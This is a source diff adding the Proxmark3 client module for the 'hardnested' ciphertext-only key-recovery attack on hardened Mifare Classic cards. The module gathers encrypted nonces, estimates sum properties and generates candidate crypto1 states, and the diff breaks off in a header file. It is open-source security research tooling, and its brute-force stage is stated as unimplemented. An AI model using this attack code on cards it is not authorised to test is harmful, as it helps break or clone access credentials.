diff --git a/client/cmdhfmfhard.c b/client/cmdhfmfhard.c new file mode 100644 index 00000000..093e13d5 --- /dev/null +++ b/client/cmdhfmfhard.c @@ -0,0 +1,843 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2015 piwi +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Implements a card only attack based on crypto text (encrypted nonces +// received during a nested authentication) only. Unlike other card only +// attacks this doesn't rely on implementation errors but only on the +// inherent weaknesses of the crypto1 cypher. Described in +// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened +// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on +// Computer and Communications Security, 2015 +//----------------------------------------------------------------------------- + +#include +#include +#include +#include +#include +#include "proxmark3.h" +#include "cmdmain.h" +#include "ui.h" +#include "util.h" +#include "nonce2key/crapto1.h" + + +typedef struct noncelistentry { + uint32_t nonce_enc; + uint8_t par_enc; + void *next; +} noncelistentry_t; + +typedef struct noncelist { + uint16_t num; + uint16_t Sum; + uint16_t Sum8_guess; + float Sum8_prob; + bool updated; + noncelistentry_t *first; +} noncelist_t; + + +static uint32_t cuid; +static noncelist_t nonces[256]; +static uint16_t first_byte_Sum = 0; +static uint16_t first_byte_num = 0; +static uint8_t best_first_byte; +static uint16_t guessed_Sum8; +static float guessed_Sum8_confidence; + + +typedef enum { + EVEN_STATE = 0, + ODD_STATE = 1 +} odd_even_t; + +#define MAX_PARTIAL_ODD_STATES 248801 // we know from pre-computing. Includes 0xffffffff as End Of List marker +#define MAX_PARTIAL_EVEN_STATES 124401 // dito + +typedef struct { + uint32_t *states; + uint32_t len; + uint32_t *index[256]; +} partial_indexed_statelist_t; + +typedef struct { + uint32_t *states[2]; + uint32_t len[2]; + void* next; +} statelist_t; + + +partial_indexed_statelist_t partial_statelist_odd[17]; +partial_indexed_statelist_t partial_statelist_even[17]; + +statelist_t *candidates = NULL; + + +static int add_nonce(uint32_t nonce_enc, uint8_t par_enc) +{ + uint8_t first_byte = nonce_enc >> 24; + noncelistentry_t *p1 = nonces[first_byte].first; + noncelistentry_t *p2 = NULL; + + if (p1 == NULL) { // first nonce with this 1st byte + first_byte_num++; + first_byte_Sum += parity((nonce_enc & 0xff000000) | (par_enc & 0x08) | 0x01); // 1st byte sum property. Note: added XOR 1 + // printf("Adding nonce 0x%08x, par_enc 0x%02x, parity(0x%08x) = %d\n", + // nonce_enc, + // par_enc, + // (nonce_enc & 0xff000000) | (par_enc & 0x08) |0x01, + // parity((nonce_enc & 0xff000000) | (par_enc & 0x08) | 0x01)); + } + + while (p1 != NULL && (p1->nonce_enc & 0x00ff0000) < (nonce_enc & 0x00ff0000)) { + p2 = p1; + p1 = p1->next; + } + + if (p1 == NULL) { // need to add at the end of the list + if (p2 == NULL) { // list is empty yet. Add first entry. + p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t)); + } else { // add new entry at end of existing list. + p2 = p2->next = malloc(sizeof(noncelistentry_t)); + } + } else if ((p1->nonce_enc & 0x00ff0000) != (nonce_enc & 0x00ff0000)) { // found distinct 2nd byte. Need to insert. + if (p2 == NULL) { // need to insert at start of list + p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t)); + } else { + p2 = p2->next = malloc(sizeof(noncelistentry_t)); + } + } else { // we have seen this 2nd byte before. Nothing to add or insert. + return (0); + } + + // add or insert new data + p2->next = p1; + p2->nonce_enc = nonce_enc; + p2->par_enc = par_enc; + + nonces[first_byte].num++; + nonces[first_byte].Sum += parity((nonce_enc & 0x00ff0000) | (par_enc & 0x04) | 0x01); // 2nd byte sum property. Note: added XOR 1 + nonces[first_byte].updated = true; // indicates that we need to recalculate the Sum(a8) probability for this first byte + + return (1); // new nonce added +} + + +static uint16_t SumPropertyOdd(uint32_t odd_state) +{ + uint16_t oddsum = 0; + for (uint16_t j = 0; j < 16; j++) { + uint32_t oddstate = odd_state; + uint16_t part_sum = 0; + for (uint16_t i = 0; i < 5; i++) { + part_sum ^= filter(oddstate); + oddstate = (oddstate << 1) | ((j >> (3-i)) & 0x01) ; + } + oddsum += part_sum; + } + return oddsum; +} + + +static uint16_t SumPropertyEven(uint32_t even_state) +{ + uint16_t evensum = 0; + for (uint16_t j = 0; j < 16; j++) { + uint32_t evenstate = even_state; + uint16_t part_sum = 0; + for (uint16_t i = 0; i < 4; i++) { + evenstate = (evenstate << 1) | ((j >> (3-i)) & 0x01) ; + part_sum ^= filter(evenstate); + } + evensum += part_sum; + } + return evensum; +} + + +static uint16_t SumProperty(struct Crypto1State *s) +{ + uint16_t sum_odd = SumPropertyOdd(s->odd); + uint16_t sum_even = SumPropertyEven(s->even); + return (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even); +} + + +static double p_hypergeometric(uint16_t N, uint16_t K, uint16_t n, uint16_t k) +{ + // for efficient computation we are using the recursive definition + // (K-k+1) * (n-k+1) + // P(X=k) = P(X=k-1) * -------------------- + // k * (N-K-n+k) + // and + // (N-K)*(N-K-1)*...*(N-K-n+1) + // P(X=0) = ----------------------------- + // N*(N-1)*...*(N-n+1) + + if (n-k > N-K || k > K) return 0.0; // avoids log(x<=0) in calculation below + if (k == 0) { + // use logarithms to avoid overflow with huge factorials (double type can only hold 170!) + double log_result = 0.0; + for (int16_t i = N-K; i >= N-K-n+1; i--) { + log_result += log(i); + } + for (int16_t i = N; i >= N-n+1; i--) { + log_result -= log(i); + } + return exp(log_result); + } else { + if (n-k == N-K) { // special case. The published recursion below would fail with a divide by zero exception + double log_result = 0.0; + for (int16_t i = k+1; i <= n; i++) { + log_result += log(i); + } + for (int16_t i = K+1; i <= N; i++) { + log_result -= log(i); + } + return exp(log_result); + } else { // recursion + return (p_hypergeometric(N, K, n, k-1) * (K-k+1) * (n-k+1) / (k * (N-K-n+k))); + } + } +} + + +static float sum_probability(uint16_t K, uint16_t n, uint16_t k) +{ + const uint16_t N = 256; + + const float p[257] = { + 0.0290, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.4180, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.02900 }; + + if (k > K || p[K] == 0.0) return 0.0; + + double p_T_is_k_when_S_is_K = p_hypergeometric(N, K, n, k); + double p_S_is_K = p[K]; + double p_T_is_k = 0; + for (uint16_t i = 0; i <= 256; i++) { + if (p[i] != 0.0) { + p_T_is_k += p[i] * p_hypergeometric(N, i, n, k); + } + } + return(p_T_is_k_when_S_is_K * p_S_is_K / p_T_is_k); +} + + +static void Tests() +{ + printf("Tests: Partial Statelist sizes\n"); + for (uint16_t i = 0; i <= 16; i+=2) { + printf("Partial State List Odd [%2d] has %8d entries\n", i, partial_statelist_odd[i].len); + } + for (uint16_t i = 0; i <= 16; i+=2) { + printf("Partial State List Even [%2d] has %8d entries\n", i, partial_statelist_even[i].len); + } + // printf("Tests: State List Odd [4] content:\n"); + // for (uint32_t i = 0; i < partial_statelist_odd[4].len; i++) { + // printf("State_List_Odd[4][%d] = 0x%08x\n", i, partial_statelist_odd[4].states[i]); + // } + + #define NUM_STATISTICS 100000 + uint64_t statistics[257]; + uint32_t statistics_odd[17]; + uint32_t statistics_even[17]; + struct Crypto1State cs; + time_t time1 = clock(); + + for (uint16_t i = 0; i < 257; i++) { + statistics[i] = 0; + } + for (uint16_t i = 0; i < 17; i++) { + statistics_odd[i] = 0; + statistics_even[i] = 0; + } + + for (uint64_t i = 0; i < NUM_STATISTICS; i++) { + cs.odd = (rand() & 0xfff) << 12 | (rand() & 0xfff); + cs.even = (rand() & 0xfff) << 12 | (rand() & 0xfff); + uint16_t sum_property = SumProperty(&cs); + statistics[sum_property] += 1; + sum_property=SumPropertyEven(cs.even); + statistics_even[sum_property]++; + sum_property=SumPropertyOdd(cs.odd); + statistics_odd[sum_property]++; + if (i%(NUM_STATISTICS/100) == 0) printf("."); + } + + printf("\nTests: Calculated %d Sum properties in %0.3f seconds (%0.0f calcs/second)\n", NUM_STATISTICS, ((float)clock() - time1)/CLOCKS_PER_SEC, NUM_STATISTICS/((float)clock() - time1)*CLOCKS_PER_SEC); + for (uint16_t i = 0; i < 257; i++) { + if (statistics[i] != 0) { + printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/NUM_STATISTICS); + } + } + for (uint16_t i = 0; i <= 16; i++) { + if (statistics_odd[i] != 0) { + printf("probability odd [%2d] = %0.5f\n", i, (float)statistics_odd[i]/NUM_STATISTICS); + } + } + for (uint16_t i = 0; i <= 16; i++) { + if (statistics_odd[i] != 0) { + printf("probability even [%2d] = %0.5f\n", i, (float)statistics_even[i]/NUM_STATISTICS); + } + } + + printf("Tests: Sum Probabilities based on Partial Sums\n"); + for (uint16_t i = 0; i < 257; i++) { + statistics[i] = 0; + } + uint64_t num_states = 0; + for (uint16_t oddsum = 0; oddsum <= 16; oddsum += 2) { + for (uint16_t evensum = 0; evensum <= 16; evensum += 2) { + uint16_t sum = oddsum*(16-evensum) + (16-oddsum)*evensum; + statistics[sum] += (uint64_t)partial_statelist_odd[oddsum].len * (1<<4) * partial_statelist_even[evensum].len * (1<<5); + num_states += (uint64_t)partial_statelist_odd[oddsum].len * (1<<4) * partial_statelist_even[evensum].len * (1<<5); + } + } + printf("num_states = %lld, expected %lld\n", num_states, (1LL<<48)); + for (uint16_t i = 0; i < 257; i++) { + if (statistics[i] != 0) { + printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/num_states); + } + } + + printf("\nTests: Hypergeometric Probability for selected parameters\n"); + printf("p_hypergeometric(256, 206, 255, 206) = %0.8f\n", p_hypergeometric(256, 206, 255, 206)); + printf("p_hypergeometric(256, 206, 255, 205) = %0.8f\n", p_hypergeometric(256, 206, 255, 205)); + printf("p_hypergeometric(256, 156, 1, 1) = %0.8f\n", p_hypergeometric(256, 156, 1, 1)); + printf("p_hypergeometric(256, 156, 1, 0) = %0.8f\n", p_hypergeometric(256, 156, 1, 0)); + printf("p_hypergeometric(256, 1, 1, 1) = %0.8f\n", p_hypergeometric(256, 1, 1, 1)); + printf("p_hypergeometric(256, 1, 1, 0) = %0.8f\n", p_hypergeometric(256, 1, 1, 0)); + + struct Crypto1State *pcs; + pcs = crypto1_create(0xffffffffffff); + printf("\nTests: for key = 0xffffffffffff:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n", + SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); + crypto1_destroy(pcs); + pcs = crypto1_create(0xa0a1a2a3a4a5); + printf("Tests: for key = 0xa0a1a2a3a4a5:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n", + SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); + crypto1_destroy(pcs); + + } + + +static float estimate_second_byte_sum(uint8_t *best_first_byte, uint16_t *best_Sum8_guess) +{ + float max_prob = 0.0; + for (uint16_t first_byte = 0; first_byte < 256; first_byte++) { + float Sum8_prob = 0.0; + uint16_t Sum8 = 0; + if (nonces[first_byte].updated) { + for (uint16_t sum = 0; sum <= 256; sum++) { + float prob = sum_probability(sum, nonces[first_byte].num, nonces[first_byte].Sum); + if (prob > Sum8_prob) { + Sum8_prob = prob; + Sum8 = sum; + } + } + nonces[first_byte].Sum8_guess = Sum8; + nonces[first_byte].Sum8_prob = Sum8_prob; + nonces[first_byte].updated = false; + } + if (nonces[first_byte].Sum8_prob > max_prob) { + max_prob = nonces[first_byte].Sum8_prob; + *best_first_byte = first_byte; + *best_Sum8_guess = nonces[first_byte].Sum8_guess; + } + } + return max_prob; +} + + +static int read_nonce_file(void) +{ + FILE *fnonces = NULL; + uint8_t trgBlockNo; + uint8_t trgKeyType; + uint8_t read_buf[9]; + uint32_t nt_enc1, nt_enc2; + uint8_t par_enc; + int total_num_nonces = 0; + + if ((fnonces = fopen("nonces.bin","rb")) == NULL) { + PrintAndLog("Could not open file nonces.bin"); + return 1; + } + + PrintAndLog("Reading nonces from file nonces.bin..."); + if (fread(read_buf, 1, 6, fnonces) == 0) { + PrintAndLog("File reading error."); + fclose(fnonces); + return 1; + } + cuid = bytes_to_num(read_buf, 4); + trgBlockNo = bytes_to_num(read_buf+4, 1); + trgKeyType = bytes_to_num(read_buf+5, 1); + + while (fread(read_buf, 1, 9, fnonces) == 9) { + nt_enc1 = bytes_to_num(read_buf, 4); + nt_enc2 = bytes_to_num(read_buf+4, 4); + par_enc = bytes_to_num(read_buf+8, 1); + //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4); + //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f); + add_nonce(nt_enc1, par_enc >> 4); + add_nonce(nt_enc2, par_enc & 0x0f); + total_num_nonces += 2; + } + fclose(fnonces); + PrintAndLog("Read %d nonces from file. cuid=%08x, Block=%d, Keytype=%c", total_num_nonces, cuid, trgBlockNo, trgKeyType==0?'A':'B'); + + return 0; +} + + +int static acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_write, bool slow) +{ + clock_t time1 = clock(); + bool initialize = true; + bool field_off = false; + bool finished = false; + uint32_t flags = 0; + uint8_t write_buf[9]; + uint32_t total_num_nonces = 0; + uint32_t next_thousand = 1000; + uint32_t total_added_nonces = 0; + FILE *fnonces = NULL; + UsbCommand resp; + + #define CONFIDENCE_THRESHOLD 0.95 // Collect nonces until we are certain enough to have guessed Sum(a8) correctly + + clearCommandBuffer(); + + do { + flags = 0; + flags |= initialize ? 0x0001 : 0; + flags |= slow ? 0x0002 : 0; + flags |= field_off ? 0x0004 : 0; + UsbCommand c = {CMD_MIFARE_ACQUIRE_ENCRYPTED_NONCES, {blockNo + keyType * 0x100, trgBlockNo + trgKeyType * 0x100, flags}}; + memcpy(c.d.asBytes, key, 6); + + SendCommand(&c); + + if (field_off) finished = true; + + if (initialize) { + if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) return 1; + if (resp.arg[0]) return resp.arg[0]; // error during nested_hard + + cuid = resp.arg[1]; + // PrintAndLog("Acquiring nonces for CUID 0x%08x", cuid); + if (nonce_file_write && fnonces == NULL) { + if ((fnonces = fopen("nonces.bin","wb")) == NULL) { + PrintAndLog("Could not create file nonces.bin"); + return 3; + } + PrintAndLog("Writing acquired nonces to binary file nonces.bin"); + num_to_bytes(cuid, 4, write_buf); + fwrite(write_buf, 1, 4, fnonces); + fwrite(&trgBlockNo, 1, 1, fnonces); + fwrite(&trgKeyType, 1, 1, fnonces); + } + } + + if (!initialize) { + uint32_t nt_enc1, nt_enc2; + uint8_t par_enc; + uint16_t num_acquired_nonces = resp.arg[2]; + uint8_t *bufp = resp.d.asBytes; + for (uint16_t i = 0; i < num_acquired_nonces; i+=2) { + nt_enc1 = bytes_to_num(bufp, 4); + nt_enc2 = bytes_to_num(bufp+4, 4); + par_enc = bytes_to_num(bufp+8, 1); + + //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4); + total_added_nonces += add_nonce(nt_enc1, par_enc >> 4); + //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f); + total_added_nonces += add_nonce(nt_enc2, par_enc & 0x0f); + + + if (nonce_file_write) { + fwrite(bufp, 1, 9, fnonces); + } + + bufp += 9; + } + + total_num_nonces += num_acquired_nonces; + } + + if (first_byte_num == 256 ) { + // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum); + float last_confidence = guessed_Sum8_confidence; + uint16_t last_Sum8 = guessed_Sum8; + guessed_Sum8_confidence = estimate_second_byte_sum(&best_first_byte, &guessed_Sum8); + if (guessed_Sum8_confidence > last_confidence || guessed_Sum8 != last_Sum8 || total_num_nonces > next_thousand) { + next_thousand = (total_num_nonces/1000+1) * 1000; + PrintAndLog("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Guessed Sum(a8) = %3d for first nonce byte = 0x%02x, probability for correct guess = %1.2f%%", + total_num_nonces, + total_added_nonces, + guessed_Sum8, + best_first_byte, + guessed_Sum8_confidence*100); + } + if (guessed_Sum8_confidence >= CONFIDENCE_THRESHOLD) { + field_off = true; // switch off field with next SendCommand and then finish + } + } + + if (!initialize) { + if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) return 1; + if (resp.arg[0]) return resp.arg[0]; // error during nested_hard + } + + initialize = false; + + } while (!finished); + + + if (nonce_file_write) { + fclose(fnonces); + } + + PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%d nonces/minute)", + total_num_nonces, + ((float)clock()-time1)/CLOCKS_PER_SEC, + total_num_nonces*60*CLOCKS_PER_SEC/(clock()-time1)); + + return 0; +} + + +static int init_partial_statelists(void) +{ + printf("Allocating memory for partial statelists...\n"); + for (uint16_t i = 0; i <= 16; i++) { + partial_statelist_odd[i].len = 0; + if (i % 2) { // partial Sum Properties are even. + partial_statelist_odd[i].states = NULL; + } else { + // 20 Bits are relevant for odd states. Less than a half per Sum is expected + partial_statelist_odd[i].states = malloc(sizeof(uint32_t) << 19); + if (partial_statelist_odd[i].states == NULL) { + PrintAndLog("Cannot allocate enough memory. Aborting"); + return 4; + } + for (uint16_t j = 0; j < 256; j++) { + partial_statelist_odd[i].index[j] = NULL; + } + } + partial_statelist_even[i].len = 0; + if (i % 2) { // partial Sum Properties are even. + partial_statelist_even[i].states = NULL; + } else { + // 19 Bits are relevant for even states. Less than a half per Sum is expected + partial_statelist_even[i].states = malloc(sizeof(uint32_t) << 18); + if (partial_statelist_even[i].states == NULL) { + PrintAndLog("Cannot allocate enough memory. Aborting"); + return 4; + } + for (uint16_t j = 0; j < 256; j++) { + partial_statelist_even[i].index[j] = NULL; + } + } + } + + printf("Generating partial statelists odd...\n"); + uint32_t index = -1; + for (uint32_t oddstate = 0; oddstate < (1 << 20); oddstate++) { + uint16_t odd_sum_property = SumPropertyOdd(oddstate); + uint32_t *p = partial_statelist_odd[odd_sum_property].states; + p += partial_statelist_odd[odd_sum_property].len; + *p = oddstate; + partial_statelist_odd[odd_sum_property].len++; + if ((oddstate & 0x000ff000) != index) { + index = oddstate & 0x000ff000; + } + if (partial_statelist_odd[odd_sum_property].index[index >> 12] == NULL) { + partial_statelist_odd[odd_sum_property].index[index >> 12] = p; + } + } + // add End Of List markers + for (uint16_t i = 0; i <= 16; i += 2) { + uint32_t *p = partial_statelist_odd[i].states; + p += partial_statelist_odd[i].len; + *p = 0xffffffff; + } + + printf("Generating partial statelists even...\n"); + index = -1; + for (uint32_t evenstate = 0; evenstate < (1 << 19); evenstate++) { + uint16_t even_sum_property = SumPropertyEven(evenstate); + uint32_t *p = partial_statelist_even[even_sum_property].states; + p += partial_statelist_even[even_sum_property].len; + *p = evenstate; + partial_statelist_even[even_sum_property].len++; + if ((evenstate & 0x000ff000) != index) { + index = evenstate & 0x000ff000; + } + if (partial_statelist_even[even_sum_property].index[index >> 12] == NULL) { + partial_statelist_even[even_sum_property].index[index >> 12] = p; + } + } + // add End Of List markers + for (uint16_t i = 0; i <= 16; i += 2) { + uint32_t *p = partial_statelist_even[i].states; + p += partial_statelist_even[i].len; + *p = 0xffffffff; + } + + return 0; +} + + +static void add_state(statelist_t *sl, uint32_t state, odd_even_t odd_even) +{ + uint32_t *p; + + p = sl->states[odd_even]; + p += sl->len[odd_even]; + *p = state; + sl->len[odd_even]++; +} + + +uint32_t *find_first_state(uint32_t state, partial_indexed_statelist_t *sl) +{ + uint32_t *p = sl->index[state >> 12]; // first 8 Bits as index + + if (p == NULL) return NULL; + while ((*p & 0x000ffff0) < state) p++; + if (*p == 0xffffffff) return NULL; // reached end of list, no match + if ((*p & 0x000ffff0) == state) return p; // found a match. + return NULL; // no match +} + + +static int add_matching_states(statelist_t *candidates, uint16_t part_sum_a0, uint16_t part_sum_a8, odd_even_t odd_even) +{ + uint32_t worstcase_size = (odd_even==ODD_STATE) ? 1<<24 : 1<<23; + + if (odd_even == ODD_STATE) { + candidates->states[odd_even] = (uint32_t *)malloc(sizeof(uint32_t) * worstcase_size); + if (candidates->states[odd_even] == NULL) { + PrintAndLog("Out of memory error.\n"); + return 4; + } + for (uint32_t *p1 = partial_statelist_odd[part_sum_a0].states; *p1 != 0xffffffff; p1++) { + uint32_t *p2 = find_first_state((*p1 << 4) & 0x000ffff0, &partial_statelist_odd[part_sum_a8]); + while (p2 != NULL && ((*p1 << 4) & 0x000ffff0) == (*p2 & 0x000ffff0) && *p2 != 0xffffffff) { + add_state(candidates, (*p1 << 4) | *p2, odd_even); + p2++; + } + p2 = candidates->states[odd_even]; + p2 += candidates->len[odd_even]; + *p2 = 0xffffffff; + } + candidates->states[odd_even] = realloc(candidates->states[odd_even], sizeof(uint32_t) * (candidates->len[odd_even] + 1)); + } else { + candidates->states[odd_even] = (uint32_t *)malloc(sizeof(uint32_t) * worstcase_size); + if (candidates->states[odd_even] == NULL) { + PrintAndLog("Out of memory error.\n"); + return 4; + } + for (uint32_t *p1 = partial_statelist_even[part_sum_a0].states; *p1 != 0xffffffff; p1++) { + uint32_t *p2 = find_first_state((*p1 << 4) & 0x0007fff0, &partial_statelist_even[part_sum_a8]); + while (p2 != NULL && ((*p1 << 4) & 0x0007fff0) == (*p2 & 0x0007fff0) && *p2 != 0xffffffff) { + add_state(candidates, (*p1 << 4) | *p2, odd_even); + p2++; + } + p2 = candidates->states[odd_even]; + p2 += candidates->len[odd_even]; + *p2 = 0xffffffff; + } + candidates->states[odd_even] = realloc(candidates->states[odd_even], sizeof(uint32_t) * (candidates->len[odd_even] + 1)); + } + return 0; +} + + +static statelist_t *add_more_candidates(statelist_t *current_candidates) +{ + statelist_t *new_candidates = NULL; + if (current_candidates == NULL) { + if (candidates == NULL) { + candidates = (statelist_t *)malloc(sizeof(statelist_t)); + } + new_candidates = candidates; + } else { + new_candidates = current_candidates->next = (statelist_t *)malloc(sizeof(statelist_t)); + } + new_candidates->next = NULL; + new_candidates->len[ODD_STATE] = 0; + new_candidates->len[EVEN_STATE] = 0; + new_candidates->states[ODD_STATE] = NULL; + new_candidates->states[EVEN_STATE] = NULL; + return new_candidates; +} + + +static void TestIfKeyExists(uint64_t key) +{ + struct Crypto1State *pcs; + pcs = crypto1_create(key); + crypto1_byte(pcs, (cuid >> 24) ^ best_first_byte, true); + + uint32_t state_odd = pcs->odd & 0x00ffffff; + uint32_t state_even = pcs->even & 0x00ffffff; + printf("searching for key %llx after first byte 0x%02x (state_odd = 0x%06x, state_even = 0x%06x) ...\n", key, best_first_byte, state_odd, state_even); + + for (statelist_t *p = candidates; p != NULL; p = p->next) { + uint32_t *p_odd = p->states[ODD_STATE]; + uint32_t *p_even = p->states[EVEN_STATE]; + while (*p_odd != 0xffffffff) { + if (*p_odd == state_odd) printf("o"); + p_odd++; + } + while (*p_even != 0xffffffff) { + if (*p_even == (state_even & 0x007fffff)) printf("e"); + p_even++; + } + printf("|"); + } + printf("\n"); + crypto1_destroy(pcs); +} + + +static void generate_candidates(uint16_t sum_a0, uint16_t sum_a8) +{ + printf("Generating crypto1 state candidates... \n"); + + statelist_t *current_candidates = NULL; + // estimate maximum candidate states + uint64_t maximum_states = 0; + for (uint16_t sum_odd = 0; sum_odd <= 16; sum_odd += 2) { + for (uint16_t sum_even = 0; sum_even <= 16; sum_even += 2) { + if (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even == sum_a0) { + maximum_states += (uint64_t)partial_statelist_odd[sum_odd].len * (1<<4) * partial_statelist_even[sum_even].len * (1<<5); + } + } + } + printf("Estimated number of possible keys with S(a0) = %d: %lld (2^%1.1f)\n", sum_a0, maximum_states, log(maximum_states)/log(2.0)); + + for (uint16_t p = 0; p <= 16; p += 2) { + for (uint16_t q = 0; q <= 16; q += 2) { + if (p*(16-q) + (16-p)*q == sum_a0) { + printf("Reducing Partial Statelists (p,q) = (%d,%d) with lengths %d, %d\n", + p, q, partial_statelist_odd[p].len, partial_statelist_even[q].len); + for (uint16_t r = 0; r <= 16; r += 2) { + for (uint16_t s = 0; s <= 16; s += 2) { + if (r*(16-s) + (16-r)*s == sum_a8) { + current_candidates = add_more_candidates(current_candidates); + add_matching_states(current_candidates, p, r, ODD_STATE); + printf("Odd state candidates: %d (2^%0.1f)\n", current_candidates->len[ODD_STATE], log(current_candidates->len[ODD_STATE])/log(2)); + add_matching_states(current_candidates, q, s, EVEN_STATE); + printf("Even state candidates: %d (2^%0.1f)\n", current_candidates->len[EVEN_STATE]*2, log(current_candidates->len[EVEN_STATE]*2)/log(2)); + } + } + } + } + } + } + + + maximum_states = 0; + for (statelist_t *sl = candidates; sl != NULL; sl = sl->next) { + maximum_states += (uint64_t)sl->len[ODD_STATE] * sl->len[EVEN_STATE] * 2; + } + printf("Estimated number of possible keys with S(a0) = %d AND S(a8)=%d: %lld (2^%1.1f)\n", sum_a0, sum_a8, maximum_states, log(maximum_states)/log(2.0)); + + TestIfKeyExists(0xffffffffffff); + TestIfKeyExists(0xa0a1a2a3a4a5); + +} + + +int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_read, bool nonce_file_write, bool slow) +{ + + // initialize the list of nonces + for (uint16_t i = 0; i < 256; i++) { + nonces[i].num = 0; + nonces[i].Sum = 0; + nonces[i].Sum8_guess = 0; + nonces[i].Sum8_prob = 0.0; + nonces[i].updated = true; + nonces[i].first = NULL; + } + first_byte_num = 0; + first_byte_Sum = 0; + guessed_Sum8 = 0; + best_first_byte = 0; + guessed_Sum8_confidence = 0.0; + + init_partial_statelists(); + + if (nonce_file_read) { // use pre-acquired data from file nonces.bin + if (read_nonce_file() != 0) { + return 3; + } + guessed_Sum8_confidence = estimate_second_byte_sum(&best_first_byte, &guessed_Sum8); + } else { // acquire nonces. + uint16_t is_OK = acquire_nonces(blockNo, keyType, key, trgBlockNo, trgKeyType, nonce_file_write, slow); + if (is_OK != 0) { + return is_OK; + } + } + + Tests(); + + PrintAndLog(""); + PrintAndLog("Sum(a0) = %d", first_byte_Sum); + PrintAndLog("Guess for Sum(a8) = %d for first nonce byte = 0x%02x, n = %d, k = %d, probability for correct guess = %1.0f%%\n", + guessed_Sum8, + best_first_byte, + nonces[best_first_byte].num, + nonces[best_first_byte].Sum, + guessed_Sum8_confidence*100); + + generate_candidates(first_byte_Sum, guessed_Sum8); + + PrintAndLog("Brute force phase not yet implemented"); + + return 0; +} + + diff --git a/client/cmdhfmfhard.h b/client/cmdhfmfhard.h new file mode 100644 index 00000000..94c57717 --- /dev/null +++ b/client/cmdhfmfhard.h @@ -0,0 +1,11 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2015 piwi +// +// This code is 